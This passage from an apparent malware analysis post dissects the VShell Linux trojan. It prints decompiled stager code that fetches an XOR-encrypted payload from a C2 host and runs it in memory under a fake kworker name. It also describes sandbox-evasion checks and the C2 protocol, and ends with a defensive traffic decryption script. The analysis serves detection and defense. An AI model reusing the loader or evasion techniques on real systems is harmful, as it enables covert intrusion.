inet_addr(&quot;xxx.xxx.xxx.xxx&quot;);<br>  *(_DWORD *)&amp;addr.sa_data[2] = v4;<br>  fd = socket(2, 1, 0);<br>  fd_1 = fd;<br>  if ( fd &gt;= 0 )<br>  {<br>    optval = 10;<br>    setsockopt(fd, 6, 7, &amp;optval, 4u);<br>    while ( connect(fd_1, &amp;addr, 0x10u) == -1 )<br>      sleep(0xAu); <br>      // Keep connecting until connected<br>    v7 = (unsigned __int16)__ROR2__(*(_WORD *)addr.sa_data, 8);<br>    sprintf(<br>      s,<br>      &quot;GET /?a=%s&amp;h=%s&amp;t=%s&amp;p=%d HTTP/1.1\r\n&quot;<br>      &quot;Host: %s:%d\r\n&quot;<br>      &quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0\r\n&quot;<br>      &quot;\r\n&quot;,<br>      &quot;l64&quot;, // Client Type<br>      &quot;xxx.xxx.xxx.xxx&quot;, // host<br>      &quot;ws_&quot;, // Protocol<br>      v7,<br>      &quot;xxx.xxx.xxx.xxx&quot;, // host<br>      (unsigned __int16)v7);<br>    send(fd_1, s, 0x400u, 0);<br>    s_1 = s;<br>    for ( i = 256; i; --i )<br>    {<br>      *(_DWORD *)s_1 = 0;<br>      s_1 += 4;<br>    }<br>    for ( j = 0; ; j += v11 )<br>    {<br>      v11 = recv(fd_1, buf, 1u, 0);<br>      if ( v11 &lt;= 0 )<br>        break;<br>      v12 = buf[0] == 10;<br>      buf[j] = buf[0];<br>      if ( v12 &amp;&amp; buf[j - 1] == 13 &amp;&amp; buf[j - 2] == 10 &amp;&amp; buf[j - 3] == 13 )<br>        break;<br>    }</pre><p>Initialization code directly initiates an http specified format packet via socket tcp, and then loops to get the corresponding characters.</p><pre>GET /?a={l64}&amp;h={host}&amp;t={ws_}&amp;p={port} HTTP/1.1\r\n<br>Host: {host}:{port}\r\n<br>User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0\r\n<br>\r\n</pre><p>Then the program creates a memory file to receive the data transmitted by the server and decrypts it character by character with xor 0x99.</p><blockquote><em>syscall 319 is memfd_create syscall</em></blockquote><pre>fd_2 = syscall(319, &quot;a&quot;, 1);<br>    if ( fd_2 &gt;= 0 )<br>    {<br>      while ( 1 )<br>      {<br>        n = recv(fd_1, buf_1, 0x1000u, 0);<br>        if ( n &lt;= 0 )<br>          break;<br>        buf_2 = buf_1;<br>        do<br>          *buf_2++ ^= 0x99u; # Decrypt shellcode <br>        while ( (int)((_DWORD)buf_2 - (unsigned int)buf_1) &lt; n );<br>        write(fd_2, buf_1, n);<br>      }<br>      n1024 = 1024;<br>      buf_3 = buf_1;<br>      while ( n1024 )<br>      {<br>        *buf_3++ = 0;<br>        --n1024;<br>      }</pre><p>Set environment variables, disguise memory process name as [kworker/0:2] and use fexecve to execute the file.</p><pre>close(fd_1);<br>      realpath(*argv, resolved);<br>      setenv(&quot;CWD&quot;, resolved, 1);<br>      argva[0] = &quot;[kworker/0:2]&quot;;<br>      argva[1] = 0;<br>      fexecve(fd_2, argva, _bss_start);<br>      close(fd_1);<br>    }<br>  }<br>  return 0;<br>}</pre><h4>Staged (Main Trojan)</h4><p>By setting a breakpoint on fexecve in gdb, we can easily get the elf file before execution in /proc/{pid}/fd/4 ==&gt; &quot;a&quot;.</p><p>By analyzing this elf file, we can see that this file is essentially a fully online VShell second stage trojan, and also the main core client.</p><p>According to basic information inspection, the file has some strong go characteristics, including .go.buildinfo .gosymtab .gopclntab. So without further ado, drag it directly into IDA 9.2, open MCP, and start Codex!</p><p>The basic Agents.md is as follows:</p><pre># Decompiler Agents <br>Your task is to create a complete and comprehensive reverse engineering analysis. Reference GOALS.md to understand the project goals and ensure the analysis serves our purposes.<br>Use the following systematic methodology:<br>1. **Decompilation Analysis**<br>   - Thoroughly inspect the decompiler output<br>   - Add detailed comments documenting your findings<br>   - Focus on understanding the actual functionality and purpose of each component (do not rely on old, incorrect comments)<br>2. **Improve Readability in the Database**<br>   - Rename variables to sensible, descriptive names<br>   - Correct variable and argument types where necessary (especially pointers and array types)<br>   - Update function names to be descriptive of their actual purpose<br>3. **Deep Dive When Needed**<br>   - If more details are necessary, examine the disassembly and add comments with findings<br>   - Document any low-level behaviors that aren&#39;t clear from the decompilation alone<br>   - Use sub-agents to perform detailed analysis<br>4. **Important Constraints**<br>   - NEVER convert number bases yourself - use the int_convert MCP tool if needed<br>   - Use MCP tools to retrieve information as necessary<br>   - Derive all conclusions from actual analysis, not assumptions<br>5. **Documentation**<br>   - Produce comprehensive REVERSE/*.md files with your findings<br>   - Document the steps taken and methodology used<br>   - When asked by the user, ensure accuracy over previous analysis file<br>   - Organize findings in a way that serves the project goals outlined in GOALS.md<br>   - All document should be Chinese simplified.<br>   -  ensure all documentation is clear, comprehensive, and accessible for future reference.<br>6. **Scripting** <br>   - [IMPORTANT] Don&#39;t writing any scripts with terminal commands. like `python &lt;&lt; PYEOF` or `echo &quot;script content&quot; &gt; script.py`, directly add a tempwork.py file and use uv to run it or terminal will be broken.<br>   - write scripts and save them directly as files in scripts/ directory.<br>   - run or play any python scripts with UV, like `uv run scripts/decrypt.py`.<br>   - Ensure scripts are well-documented and maintainable.<br>   - DON&#39;T USE/REFERENCE OTHER scripts when u analyze with IDA. They could be wrong or outdated.<br>7. **Golang Reversing** [IMPORTANT]<br>   - [IMPORTANT] Golang will pack a lot of methods into a single file. Make sure to break them down logically. Golang will contain function that are not used.<br>   - [IMPORTANT] You need to identify the entrypoints and the main flow of the program first, then follow the calls from there.<br>   - [IMPORTANT] Strings for Golang are stored in a special way, they store like a pointer to the data and the length. So be careful when you see strings in Golang, they might not be what they seem.</pre><p>GOALS.md</p><pre>## Goals<br>1. completely understand the functionality and purpose of the target software. <br>  &gt; This should be FUNCTIONALITY.md<br>2. completely document everything about its traffic patterns, protocols, and data structures.<br>  &gt; This should be TRAFFIC.md<br>3. completely document the internal workings of the software, including algorithms, data flows, and architecture.<br>  &gt; This should be ARCHITECTURE.md<br>4. produce a decryption python script to decode its traffic for further analysis and detection or defense purposes.<br>  &gt; This should be decrypt.py<br>5. if it has embed configuration data, extract and decrypt that configuration data.<br>  &gt; This should be covered in EXECUTION_FLOW.md and decrypt.py</pre><p>Then we can start vibing.</p><p>The execution flow starts from runtime_main, starts go runtime initialization, and then enters the real main function via call rax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_zmsCMdGi3CYEhkA.png" /></figure><p>The logic of the main function is mainly Environment Check -&gt; Configuration Load -&gt; Online logic according to mode, which should correspond to different startup and stop methods. For example, listen type clients and reverse type clients.</p><p>Environment Check</p><p>The environment check function may fail analysis. Checking the assembly instructions, it checks the log_de.log file (actually the /tmp/log_de.log and log_de-0.log files mentioned above).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fyCM9sExr771s7-j.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nv_PkQXfKJ1cwKog.png" /></figure><p>The third file is quite special.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F2FtnRA-5htGzbgf.png" /></figure><p>The /home/vbccsb directory is essentially the ThreatBook cloud sandbox directory. When this directory is found to exist, the program will also commit suicide.</p><p>Configuration Load</p><p>Configuration loading uses golang embedFS capability to package the encrypted configuration data into the binary file, and then decrypts the corresponding configuration file through aes_cbc_pkcs7_decrypt mode. The encryption key and iv are the same, and are the first 16 bytes of the configuration block. Finally, deserialization is performed via JSON Unmarshal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5TDq_IbOzE5TrHYY.png" /></figure><p>The parsed configuration structure is as follows:</p><pre>{<br>  &quot;server&quot;: &quot;ws://xxxxxx:xx&quot;, // remote C2 server address<br>  &quot;type&quot;: &quot;ws&quot;, // traffic type <br>  &quot;vkey&quot;: &quot;qwe123qwe&quot;, // verify key <br>  &quot;proxy&quot;: &quot;&quot;, // via proxy<br>  &quot;salt&quot;: &quot;qwe123qwe&quot;,  // traffic encryption salt<br>  &quot;l&quot;: false, // listen mode<br>  &quot;e&quot;: false, // payload encode/encryption <br>  &quot;d&quot;: 30, // delay<br>  &quot;h&quot;: 10 // heartbeat interval<br>}</pre><p>After completing the specific configuration loading, it will start to go online normally according to this configuration.</p><p>Online Process</p><p>The online process is mainly divided into two modes: listen and reverse. We mainly analyze the reverse mode.</p><p>In the reverse mode, according to the configuration, it will start trying to link to the remote C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NEj_gBce0mz7c4U2.png" /></figure><p>There is a lot of code here. But after collaborative reverse engineering with AI, we can see its main logic is:</p><blockquote><em>For websocket type traffic online.</em></blockquote><ol><li>Collect basic information such as hostname, username, os version, network card ip, process name, etc.</li><li>Create TCP connection.</li><li>Send disguised Websocket Upgrade packet.</li><li>Start encryption AESGCM mode for encryption. Below is the plaintext before encryption.</li><li>At the TCP level. Send \x05\x00\x00\x004.9.3 version number twice as handshake packets.</li><li>Wait for the server to respond with md5(4.9.3) hash as response and initiate vkey challenge.</li><li>Send vkey md5 hash to respond to the challenge.</li><li>Report conf + host information length (4 bytes little endian int) + host information json.</li><li>Server sends VerifyKey as subsequent session.</li><li>Wait for the server to issue commands.</li></ol><p>The packet format is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jBud00qSfG8U9tX-.png" /></figure><p>The approximate format of the packet is four bytes little endian length (green part) + data.</p><p>The data contains nonce 12 bytes (blue part) + ciphertext (yellow part variable length) + extra data (red part 16 bytes).</p><p>Ciphertext is encrypted via AESGCM mode, nonce is iv, key is md5 of salt.</p><p>Nonce also has some explanations. The first bit of the nonce sent by the client is less than 0x80, and the server is greater than 0x80.</p><p>In the client, it is automatically processed by and 0x7F.</p><p>The packet content above is the sucs packet returned by the server in bytes.</p><p>And through the conf mode, the reported information looks like:</p><pre>{<br>    &quot;Id&quot;: 0,<br>    &quot;IsConnect&quot;: False,<br>    &quot;VerifyKey&quot;: &quot;&quot;,<br>    &quot;Tp&quot;: &quot;ws&quot;,<br>    &quot;Addr&quot;: &quot;&quot;,<br>    &quot;Remark&quot;: &quot;&quot;,<br>    &quot;Status&quot;: False,<br>    &quot;LocalIP&quot;: &quot;Network Card IP&quot;,<br>    &quot;UserName&quot;: &quot;root&quot;,<br>    &quot;HostName&quot;: &quot;xxxx.local&quot;,<br>    &quot;Location&quot;: &quot;&quot;,<br>    &quot;OsName&quot;: &quot;linux&quot;,<br>    &quot;ProcessName&quot;: &quot;[kworker/0:2]&quot;,<br>    &quot;PingCheckTime&quot;: 0,<br>    &quot;NoStore&quot;: False,<br>    &quot;NoDisplay&quot;: False,<br>    &quot;MaxConn&quot;: 0,<br>    &quot;NowConn&quot;: 0<br>}</pre><p>After that, it will enter the command processing loop and heartbeat loop, waiting for the server to issue commands for processing.</p><p>If you are very familiar with the reverse proxy tool nps, you will find that the protocol and command distribution mode it uses are similar to nps, the code is at:</p><p><a href="https://github.com/ehang-io/nps/blob/master/bridge/bridge.go#L228">https://github.com/ehang-io/nps/blob/master/bridge/bridge.go#L228</a></p><p>So I personally suspect that the author of VShell, veo, most likely copied the nps code and developed vshell based on it.</p><h4>PCAP Decrypter</h4><p>After understanding the principle and its online process, we can try to parse the captured pcap packets. Simply put the script I vibed out here.</p><pre>#!/usr/bin/env python3<br># /// script<br># requires-python = &quot;&gt;=3.8&quot;<br># dependencies = [<br>#     &quot;cryptography&quot;,<br># ]<br># ///</pre><pre>&quot;&quot;&quot;<br>C2 PCAP Decryption Tool</pre><pre>Read encryption parameters from config.json, use tshark to extract and decrypt C2 traffic from PCAP file.</pre><pre>Usage:<br>    uv run scripts/decrypt_pcap.py &lt;pcap_file&gt; -c &lt;config_file&gt;<br>    <br>Example:<br>    uv run scripts/decrypt_pcap.py cleaned.pcap -c decrypted_config.json<br>    uv run scripts/decrypt_pcap.py cleaned.pcap -c decrypted_config.json -o result.json</pre><pre>Encryption Parameters (derived from reverse engineering):<br>    - Algorithm: AES-256-GCM<br>    - Key: md5(salt).hexdigest().encode(&#39;ascii&#39;) (32 bytes)<br>    - Nonce: 12 bytes (message prefix)<br>    - Tag: 16 bytes (message suffix)<br>    - Message Format: [4 bytes LE length][nonce 12 bytes][ciphertext][tag 16 bytes]</pre><pre>Dependencies:<br>    - tshark (Wireshark CLI) for PCAP parsing<br>&quot;&quot;&quot;</pre><pre>import argparse<br>import hashlib<br>import json<br>import struct<br>import subprocess<br>import sys<br>from pathlib import Path<br>from dataclasses import dataclass, field<br>from typing import Optional, List, Tuple<br>from urllib.parse import urlparse</pre><pre>from cryptography.hazmat.primitives.ciphers.aead import AESGCM<br></pre><pre>@dataclass<br>class Config:<br>    &quot;&quot;&quot;C2 Config&quot;&quot;&quot;<br>    salt: str<br>    vkey: str<br>    server: str<br>    server_ip: str<br>    server_port: int<br>    conn_type: str  # ws, tcp, etc.<br>    <br>    @classmethod<br>    def from_json(cls, config_path: str) -&gt; &#39;Config&#39;:<br>        &quot;&quot;&quot;Load config from JSON file&quot;&quot;&quot;<br>        with open(config_path, &#39;r&#39;) as f:<br>            data = json.load(f)<br>        <br>        # Parse server address<br>        server = data.get(&#39;server&#39;, &#39;&#39;)<br>        parsed = urlparse(server)<br>        <br>        if parsed.hostname:<br>            server_ip = parsed.hostname<br>            server_port = parsed.port or 80<br>        else:<br>            # Try to parse ip:port format directly<br>            parts = server.replace(&#39;ws://&#39;, &#39;&#39;).replace(&#39;tcp://&#39;, &#39;&#39;).split(&#39;:&#39;)<br>            server_ip = parts[0] if parts else &#39;&#39;<br>            server_port = int(parts[1]) if len(parts) &gt; 1 else 80<br>        <br>        return cls(<br>            salt=data.get(&#39;salt&#39;, &#39;&#39;),<br>            vkey=data.get(&#39;vkey&#39;, &#39;&#39;),<br>            server=server,<br>            server_ip=server_ip,<br>            server_port=server_port,<br>            conn_type=data.get(&#39;type&#39;, &#39;ws&#39;)<br>        )<br>    <br>    def get_encryption_key(self) -&gt; bytes:<br>        &quot;&quot;&quot;Get AES-256 encryption key&quot;&quot;&quot;<br>        # md5(salt) returns hex string as key<br>        md5_hex = hashlib.md5(self.salt.encode()).hexdigest()<br>        return md5_hex.encode(&#39;ascii&#39;)  # 32 bytes<br>    <br>    def get_vkey_hash(self) -&gt; str:<br>        &quot;&quot;&quot;Get MD5 hash of vkey (for verification)&quot;&quot;&quot;<br>        return hashlib.md5(self.vkey.encode()).hexdigest()<br></pre><pre>@dataclass<br>class EncryptedMessage:<br>    &quot;&quot;&quot;Encrypted Message&quot;&quot;&quot;<br>    src_port: int<br>    dst_port: int<br>    data: bytes<br>    direction: str = &#39;unknown&#39;  # &#39;C2S&#39; (Client→Server) or &#39;S2C&#39; (Server→Client)<br>    <br>    @property<br>    def nonce(self) -&gt; bytes:<br>        return self.data[:12]<br>    <br>    @property<br>    def ciphertext_with_tag(self) -&gt; bytes:<br>        return self.data[12:]<br>    <br>    @property<br>    def direction_arrow(self) -&gt; str:<br>        &quot;&quot;&quot;Direction Arrow Symbol&quot;&quot;&quot;<br>        return &#39;→&#39; if self.direction == &#39;C2S&#39; else &#39;←&#39; if self.direction == &#39;S2C&#39; else &#39;?&#39;<br>    <br>    @property<br>    def direction_label(self) -&gt; str:<br>        &quot;&quot;&quot;Direction Label&quot;&quot;&quot;<br>        if self.direction == &#39;C2S&#39;:<br>            return &#39;Client → Server&#39;<br>        elif self.direction == &#39;S2C&#39;:<br>            return &#39;Server → Client&#39;<br>        return &#39;Unknown&#39;<br></pre><pre>class PcapDecryptor:<br>    &quot;&quot;&quot;PCAP Decryptor&quot;&quot;&quot;<br>    <br>    NONCE_SIZE = 12<br>    TAG_SIZE = 16<br>    LENGTH_SIZE = 4<br>    <br>    def __init__(self, config: Config):<br>        self.config = config<br>        self.key = config.get_encryption_key()<br>        self.aesgcm = AESGCM(self.key)<br>    <br>    def extract_websocket_payload(self, data: bytes) -&gt; Optional[bytes]:<br>        &quot;&quot;&quot;Extract payload from WebSocket frame&quot;&quot;&quot;<br>        if len(data) &lt; 2:<br>            return None<br>        <br>        # WebSocket frame format<br>        opcode = data[0] &amp; 0x0F<br>        masked = (data[1] &amp; 0x80) != 0<br>        payload_len = data[1] &amp; 0x7F<br>        <br>        offset = 2<br>        <br>        if payload_len == 126:<br>            if len(data) &lt; 4:<br>                return None<br>            payload_len = struct.unpack(&#39;&gt;H&#39;, data[2:4])[0]<br>            offset = 4<br>        elif payload_len == 127:<br>            if len(data) &lt; 10:<br>                return None<br>            payload_len = struct.unpack(&#39;&gt;Q&#39;, data[2:10])[0]<br>            offset = 10<br>        <br>        if masked:<br>            if len(data) &lt; offset + 4:<br>                return None<br>            mask_key = data[offset:offset+4]<br>            offset += 4<br>            <br>            if len(data) &lt; offset + payload_len:<br>                return None<br>            <br>            # Unmask<br>            payload = bytearray(data[offset:offset+payload_len])<br>            for i in range(len(payload)):<br>                payload[i] ^= mask_key[i % 4]<br>            return bytes(payload)<br>        else:<br>            if len(data) &lt; offset + payload_len:<br>                return None<br>            return data[offset:offset+payload_len]<br>    <br>    def extract_tcp_payloads_tshark(self, pcap_path: str) -&gt; List[dict]:<br>        &quot;&quot;&quot;Use tshark to extract TCP payloads, keeping time order&quot;&quot;&quot;<br>        try:<br>            # Add frame.number to keep time order<br>            result = subprocess.run(<br>                [&#39;tshark&#39;, &#39;-r&#39;, pcap_path, &#39;-T&#39;, &#39;fields&#39;, <br>                 &#39;-e&#39;, &#39;frame.number&#39;, &#39;-e&#39;, &#39;tcp.srcport&#39;, &#39;-e&#39;, &#39;tcp.dstport&#39;, &#39;-e&#39;, &#39;tcp.payload&#39;,<br>                 &#39;-Y&#39;, &#39;tcp.payload&#39;],<br>                capture_output=True, text=True<br>            )<br>            <br>            # List of packets sorted by frame number<br>            packets = []<br>            <br>            for line in result.stdout.strip().split(&#39;\n&#39;):<br>                if not line:<br>                    continue<br>                <br>                # Handle tab separated format: frame_num \t src_port \t dst_port \t payload<br>                parts = line.split(&#39;\t&#39;)<br>                if len(parts) &lt; 4:<br>                    # Try space separated<br>                    parts = line.split(None, 3)<br>                <br>                if len(parts) &lt; 4:<br>                    continue<br>                <br>                try:<br>                    frame_num = int(parts[0])<br>                    src_port = int(parts[1])<br>                    dst_port = int(parts[2])<br>                except ValueError:<br>                    continue<br>                <br>                payload_hex = parts[3].replace(&#39;:&#39;, &#39;&#39;).strip()<br>                <br>                if not payload_hex:<br>                    continue<br>                <br>                try:<br>                    payload = bytes.fromhex(payload_hex)<br>                except ValueError:<br>                    continue<br>                <br>                # Determine direction<br>                if dst_port == self.config.server_port:<br>                    direction = &#39;C2S&#39;  # Client → Server<br>                elif src_port == self.config.server_port:<br>                    direction = &#39;S2C&#39;  # Server → Client<br>                else:<br>                    direction = &#39;unknown&#39;<br>                <br>                packets.append({<br>                    &#39;frame&#39;: frame_num,<br>                    &#39;src_port&#39;: src_port,<br>                    &#39;dst_port&#39;: dst_port,<br>                    &#39;direction&#39;: direction,<br>                    &#39;payload&#39;: payload<br>                })<br>            <br>            # Sort by frame number<br>            packets.sort(key=lambda x: x[&#39;frame&#39;])<br>            <br>            return packets<br>            <br>        except FileNotFoundError:<br>            print(&quot;Error: tshark (Wireshark CLI) is required&quot;, file=sys.stderr)<br>            sys.exit(1)<br>    <br>    def extract_messages(self, pcap_path: str) -&gt; List[EncryptedMessage]:<br>        &quot;&quot;&quot;Extract encrypted messages from PCAP, keeping time order&quot;&quot;&quot;<br>        <br>        # Use tshark to extract TCP payloads (sorted by frame number)<br>        packets = self.extract_tcp_payloads_tshark(pcap_path)<br>        <br>        if not packets:<br>            return []<br>        <br>        # Buffer for each stream: key = (src_port, dst_port)<br>        stream_buffers = {}<br>        <br>        messages = []<br>        <br>        # Process each packet in time order<br>        for pkt in packets:<br>            key = (pkt[&#39;src_port&#39;], pkt[&#39;dst_port&#39;])<br>            <br>            if key not in stream_buffers:<br>                stream_buffers[key] = {<br>                    &#39;buffer&#39;: bytearray(),<br>                    &#39;direction&#39;: pkt[&#39;direction&#39;],<br>                    &#39;http_skipped&#39;: False<br>                }<br>            <br>            stream = stream_buffers[key]<br>            stream[&#39;buffer&#39;].extend(pkt[&#39;payload&#39;])<br>            <br>            # Skip HTTP handshake part (WebSocket Upgrade request) - process only once<br>            if not stream[&#39;http_skipped&#39;]:<br>                raw_data = bytes(stream[&#39;buffer&#39;])<br>                http_end = raw_data.find(b&#39;\r\n\r\n&#39;)<br>                if http_end != -1 and (raw_data.startswith(b&#39;GET &#39;) or raw_data.startswith(b&#39;HTTP/&#39;)):<br>                    stream[&#39;buffer&#39;] = bytearray(raw_data[http_end + 4:])<br>                    stream[&#39;http_skipped&#39;] = True<br>            <br>            # Try to extract complete messages from buffer<br>            self._extract_complete_messages(stream, pkt[&#39;src_port&#39;], pkt[&#39;dst_port&#39;], messages)<br>        <br>        return messages<br>    <br>    def _extract_complete_messages(self, stream: dict, src_port: int, dst_port: int, messages: list):<br>        &quot;&quot;&quot;Extract all complete messages from buffer&quot;&quot;&quot;<br>        buffer = stream[&#39;buffer&#39;]<br>        direction = stream[&#39;direction&#39;]<br>        <br>        while len(buffer) &gt;= 4:<br>            msg_len = struct.unpack(&#39;&lt;I&#39;, buffer[:4])[0]<br>            <br>            # Check rationality<br>            if msg_len &gt; 100000 or msg_len &lt; self.NONCE_SIZE + self.TAG_SIZE:<br>                # Invalid length, skip one byte<br>                del buffer[0]<br>                continue<br>            <br>            total_len = 4 + msg_len<br>            if len(buffer) &lt; total_len:<br>                # Message incomplete, wait for more data<br>                break<br>            <br>            msg_data = bytes(buffer[4:total_len])<br>            <br>            messages.append(EncryptedMessage(<br>                src_port=src_port,<br>                dst_port=dst_port,<br>                data=msg_data,<br>                direction=direction<br>            ))<br>            <br>            # Remove processed data<br>            del buffer[:total_len]<br>    <br>    def decrypt_message(self, msg: EncryptedMessage) -&gt; Tuple[Optional[bytes], Optional[str]]:<br>        &quot;&quot;&quot;Decrypt single message&quot;&quot;&quot;<br>        if len(msg.data) &lt; self.NONCE_SIZE + self.TAG_SIZE:<br>            return None, &quot;Message too short&quot;<br>        <br>        try:<br>            plaintext = self.aesgcm.decrypt(msg.nonce, msg.ciphertext_with_tag, None)<br>            return plaintext, None<br>        except Exception as e:<br>            return None, str(e)<br>    <br>    def analyze_plaintext(self, plaintext: bytes) -&gt; dict:<br>        &quot;&quot;&quot;Analyze plaintext content&quot;&quot;&quot;<br>        result = {<br>            &#39;raw&#39;: plaintext,<br>            &#39;type&#39;: &#39;unknown&#39;,<br>            &#39;content&#39;: None,<br>        }<br>        <br>        try:<br>            text = plaintext.decode(&#39;utf-8&#39;)<br>            result[&#39;text&#39;] = text<br>            <br>            # Check if it is version number<br>            stripped = text.strip(&#39;\x00&#39;).strip()<br>            if stripped.count(&#39;.&#39;) == 2 and len(stripped) &lt;= 10:<br>                try:<br>                    parts = stripped.split(&#39;.&#39;)<br>                    if all(p.isdigit() for p in parts):<br>                        result[&#39;type&#39;] = &#39;version&#39;<br>                        result[&#39;content&#39;] = stripped<br>                        return result<br>                except:<br>                    pass<br>            <br>            # Check if it is MD5 hash (32 hex chars)<br>            if len(text) == 32 and all(c in &#39;0123456789abcdef&#39; for c in text):<br>                result[&#39;type&#39;] = &#39;hash&#39;<br>                result[&#39;content&#39;] = text<br>                # Check if it is vkey hash<br>                if text == self.config.get_vkey_hash():<br>                    result[&#39;is_vkey_hash&#39;] = True<br>                return result<br>            <br>            # Check if it is tunnel type<br>            if text in (&#39;conf&#39;, &#39;main&#39;, &#39;chan&#39;, &#39;file&#39;, &#39;health&#39;):<br>                result[&#39;type&#39;] = &#39;tunnel_type&#39;<br>                result[&#39;content&#39;] = text<br>                return result<br>            <br>            # Check if it contains JSON<br>            if text.startswith(&#39;{&#39;) or (text.startswith(&#39;conf#&#39;) or text.startswith(&#39;main#&#39;)):<br>                result[&#39;type&#39;] = &#39;json_data&#39;<br>                if &#39;#&#39; in text:<br>                    prefix, json_str = text.split(&#39;#&#39;, 1)<br>                    result[&#39;prefix&#39;] = prefix<br>                    try:<br>                        result[&#39;content&#39;] = json.loads(json_str)<br>                    except json.JSONDecodeError:<br>                        result[&#39;content&#39;] = json_str<br>                else:<br>                    try:<br>                        result[&#39;content&#39;] = json.loads(text)<br>                    except json.JSONDecodeError:<br>                        result[&#39;content&#39;] = text<br>                return result<br>            <br>            result[&#39;type&#39;] = &#39;text&#39;<br>            result[&#39;content&#39;] = text<br>        <br>        except UnicodeDecodeError:<br>            result[&#39;type&#39;] = &#39;binary&#39;<br>            result[&#39;content&#39;] = plaintext.hex()<br>            result[&#39;length&#39;] = len(plaintext)<br>            parsed_data = []<br>            try: <br>              len_plain = len(plaintext)<br>              lener = struct.unpack(&#39;&lt;I&#39;, plaintext[0:4])[0]<br>              content = plaintext[4:]</pre><pre>              # args_len = struct.unpack(&#39;&lt;I&#39;, plaintext[1:5])[0]<br>              parsed_data = {<br>                &#39;len&#39;: lener, <br>                &#39;content&#39;: content.decode(errors=&#39;ignore&#39;)<br>              }<br>              try:<br>                json_content = json.loads(content.decode())<br>                parsed_data[&#39;json_content&#39;] = json_content<br>              except:<br>                pass<br>            except Exception as e:<br>              parsed_data = {<br>                  &#39;error&#39;: str(e)<br>              }<br>            result[&#39;parsed&#39;] = parsed_data<br>        return result<br></pre><pre>def print_report(config: Config, messages: List[EncryptedMessage], <br>                 decryptor: PcapDecryptor, output_json: str = None):<br>    &quot;&quot;&quot;Print decryption report&quot;&quot;&quot;<br>    <br>    print(&quot;=&quot; * 70)<br>    print(&quot;C2 Traffic Decryption Report&quot;)<br>    print(&quot;=&quot; * 70)<br>    <br>    print(f&quot;\n📋 Config Info:&quot;)<br>    print(f&quot;  Salt: {config.salt}&quot;)<br>    print(f&quot;  VKey: {config.vkey}&quot;)<br>    print(f&quot;  VKey MD5: {config.get_vkey_hash()}&quot;)<br>    print(f&quot;  Server: {config.server}&quot;)<br>    print(f&quot;  Server IP: {config.server_ip}&quot;)<br>    print(f&quot;  Server Port: {config.server_port}&quot;)<br>    <br>    print(f&quot;\n🔐 Encryption Params:&quot;)<br>    print(f&quot;  Algorithm: AES-256-GCM&quot;)<br>    print(f&quot;  Key (hex): {config.get_encryption_key().hex()}&quot;)<br>    print(f&quot;  Key (ASCII): {config.get_encryption_key().decode()}&quot;)<br>    <br>    print(f&quot;\n📊 Message Stats:&quot;)<br>    print(f&quot;  Extracted Messages: {len(messages)}&quot;)<br>    <br>    # Stats by direction<br>    c2s_count = sum(1 for msg in messages if msg.direction == &#39;C2S&#39;)<br>    s2c_count = sum(1 for msg in messages if msg.direction == &#39;S2C&#39;)<br>    print(f&quot;  📤 Client → Server: {c2s_count}&quot;)<br>    print(f&quot;  📥 Server → Client: {s2c_count}&quot;)<br>    <br>    # Group by port<br>    ports = set(msg.src_port for msg in messages)<br>    print(f&quot;  Source Ports: {sorted(ports)}&quot;)<br>    <br>    results = []<br>    <br>    print(&quot;\n&quot; + &quot;=&quot; * 70)<br>    print(&quot;Decryption Results&quot;)<br>    print(&quot;=&quot; * 70)<br>    <br>    for i, msg in enumerate(messages, 1):<br>        plaintext, error = decryptor.decrypt_message(msg)<br>        <br>        # Direction icon<br>        dir_icon = &#39;📤&#39; if msg.direction == &#39;C2S&#39; else &#39;📥&#39; if msg.direction == &#39;S2C&#39; else &#39;❓&#39;<br>        print(f&quot;\n--- Message {i} {dir_icon} {msg.direction_label} ({msg.src_port}→{msg.dst_port}, {len(msg.data)} bytes) ---&quot;)<br>        print(f&quot;  Nonce: {msg.nonce.hex()}&quot;)<br>        <br>        result = {<br>            &#39;index&#39;: i,<br>            &#39;direction&#39;: msg.direction,<br>            &#39;direction_label&#39;: msg.direction_label,<br>            &#39;src_port&#39;: msg.src_port,<br>            &#39;dst_port&#39;: msg.dst_port,<br>            &#39;size&#39;: len(msg.data),<br>            &#39;nonce&#39;: msg.nonce.hex(),<br>        }<br>        <br>        if plaintext:<br>            analysis = decryptor.analyze_plaintext(plaintext)<br>            result[&#39;status&#39;] = &#39;success&#39;<br>            result[&#39;plaintext_size&#39;] = len(plaintext)<br>            result[&#39;type&#39;] = analysis[&#39;type&#39;]<br>            <br>            print(f&quot;  ✅ Decryption Success ({len(plaintext)} bytes)&quot;)<br>            print(f&quot;  Type: {analysis[&#39;type&#39;]}&quot;)<br>            <br>            if analysis[&#39;type&#39;] == &#39;version&#39;:<br>                print(f&quot;  Version: {analysis[&#39;content&#39;]}&quot;)<br>                result[&#39;content&#39;] = analysis[&#39;content&#39;]<br>            <br>            elif analysis[&#39;type&#39;] == &#39;hash&#39;:<br>                is_vkey = analysis.get(&#39;is_vkey_hash&#39;, False)<br>                print(f&quot;  Hash: {analysis[&#39;content&#39;]}&quot;)<br>                if is_vkey:<br>                    print(f&quot;  ⚠️  Matches vkey MD5 (Verification Token)&quot;)<br>                result[&#39;content&#39;] = analysis[&#39;content&#39;]<br>                result[&#39;is_vkey_hash&#39;] = is_vkey<br>            <br>            elif analysis[&#39;type&#39;] == &#39;tunnel_type&#39;:<br>                print(f&quot;  Tunnel: {analysis[&#39;content&#39;]}&quot;)<br>                result[&#39;content&#39;] = analysis[&#39;content&#39;]<br>            <br>            elif analysis[&#39;type&#39;] == &#39;json_data&#39;:<br>                if &#39;prefix&#39; in analysis:<br>                    print(f&quot;  Prefix: {analysis[&#39;prefix&#39;]}&quot;)<br>                    result[&#39;prefix&#39;] = analysis[&#39;prefix&#39;]<br>                if isinstance(analysis[&#39;content&#39;], dict):<br>                    print(f&quot;  JSON:&quot;)<br>                    print(f&quot;    {json.dumps(analysis[&#39;content&#39;], indent=4, 